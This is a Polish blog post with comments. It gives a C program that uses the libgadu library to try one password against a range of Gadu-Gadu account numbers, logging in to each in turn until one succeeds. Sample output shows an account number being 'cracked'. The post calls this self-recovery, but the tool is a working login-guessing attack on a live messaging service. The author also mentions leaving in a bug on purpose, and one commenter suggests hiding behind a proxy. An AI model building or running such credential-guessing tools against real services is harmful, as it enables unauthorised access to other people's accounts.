Jasio chcąc napisać do Kasi anonimowe wyznanie miłosne na GG założył nowe konto z prostym hasłem do zapamiętania „jasio123„. Nasz Romeo napisał to co chciał. Następnego dnia w szkole dowiedział się, że Kasia jest bardzo szczęśliwa z powodu otrzymania tak miłej wiadomości. Dowiedział się także, że Kasia odpisała na ten numer, aby umówić się z tajemniczym wielbicielem.
Wszystko byłoby piękne, gdyby nie fakt, że Jasio zapomniał numeru z, którego wysłał wiadomość… Jako niepoprawny programista oraz hardkor postanowiłem pomóc Jasiowi i napisałem program, który nie łamie hasła, a numer GG!
Posiadamy takie informacje jak
- Hasło – jasio123
- Mniej-większy zakres liczbowy w, którym znajduje się numer – 10000/10010
I tyle w zupełności wystarczy, aby sprawdzić, czy jakiś numer z danego przedziału nie posiada zbyt słabego i oczywistego hasła. Zasada działania programu będzie więc całkiem prosta
- Pobieramy od użytkownika dwa (w sumie trzy) parametry. Hasło, numer początkowy i numer końcowy.
- W pętli for za wyrazenie_poczatkowe podstawiamy numer początkowy, a za wyrazenie_warunkowe – numer końcowy.
- Jeśli serwer nada nam sesje, czyli zaloguje nas to możemy się cieszyć. Nasze hasło pasuje do numeru z danego przedziału. Teraz możemy się nań zalogować 🙂
/*
Program ma za zadanie testowac podany
Przedzial numerow na podane haslo.
Program powstal dla tych,
Ktorzy pamietaja swoje haslo
Do komunikatora, ale nie
Pamietaja numeru, a
Jedynie przedzial 😉
Zdarza sie takze, ze
Zapominamy dwie ostatnie cyfry,
Hasla do e-maila, aby
Przypomniec haslo z serwera
Takze zgubilismy 🙂
Autor:
Komeniusz [Nie odpowiadam za uzycie tego programu!]
Licencja: GNU - edukacyjna!
Program testowano na:
System: Ubuntu 9.10
Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa)
Download Libgadu: http://toxygen.net/libgadu/
Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/
*/
//Niezbędne biblioteki
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu 🙂
int main(int argc, char **argv)
{
struct gg_session *sess;
struct gg_event *e;
struct gg_login_params p;
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
gg_debug_level = 255;
/*****************************************/
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 4) {
fprintf(stderr, "uzycie: %s <numer poczatkowy> <numer koncowy> <testowane haslo>n", argv[0]);
return 1;
}
/*
Deklarujemy testowany zakres
*/
int poczatek = atoi(argv[1]);
int koniec = atoi(argv[2]);
/*
Jesli wprowadzimy bledne dane dotyczace zakresu
wypluwamy info o bledzie i konczymy program
*/
if(poczatek>=koniec) {
printf("Syntax Error n");
return 1;
}
/*****************************************/
/*
Jazda ;D
*/
for(int numer=poczatek; numer<=koniec; ++numer) {
//Zwalniamy pamiec
memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer
p.uin = numer;
//Deklarujemy aktualnie testowane haslo, to samo co na poczatku
p.password = argv[2];
/*
Jesli haslo sie nie zgadza
*/
if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac/zakomentowac,
jesli chcemy wyswietlac informacje
o numerach, ktore nie przeszly testu
*/
printf("Bashed: %d n -------------------- n", numer);
/*
Zwalnaimy pamiec
*/
gg_free_session(sess);
} else { //Jesli zgadlismy haslo drukujemy nalezacy do niego numerek i zamykamy program
//Potem mozna ruszyc od nowa od numeru, ktory zlamalismy 🙂
printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n");
printf(" >>> Cracked: ^ %d ^n -------------------- n", numer);
printf(" >>> Cracked: ^ %d ^n -------------------- n", numer);
printf(" >>> Cracked: ^ %d ^n -------------------- n", numer);
printf(" >>> Cracked: ^ %d ^n -------------------- n", numer);
printf(" >>> Cracked: ^ %d ^n -------------------- n", numer);
printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n");
return 1;
}
/*
Zwalniamy pamiec
*/
gg_logoff(sess);
gg_free_session(sess);
}
return 0; //zakonczenie programu
}
Przykład działania programu
komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brut brut.c -lgadu -std=c99
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut
uzycie: ./brut <numer poczatkowy> <numer koncowy> <testowane haslo>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut 10000 10010 jasio123
Bashed: 10000
——————–
Bashed: 10001
——————–
Bashed: 10002
——————–
Bashed: 10003
——————–
Bashed: 10004
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
komeniusz@cyber-jadro:~/libgadu/examples$
I proszę, numer Jasia to 10005 😉
UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.
2 lipca 2010 dnia 10:01
//Zwalniamy pamiec
memset(&p, 0, sizeof(p));
Mała nieścisłość, tutaj „rezerwujesz” pamięć, a nie ją zwalnaisz :>
2 lipca 2010 dnia 10:01
a nie przepraszam, wypełniasz zerami, ach, idę coś zjeść lepiej :]
13 marca 2012 dnia 09:35
No dobra, tylko przydało by się to chyba zabezpieczyć np. przy pomocy nawet jakiegoś banalnego proxy bo to chyba łamanie prawa jest?
13 marca 2012 dnia 16:02
Przypominanie swojego hasła nie jest łamaniem prawa 🙂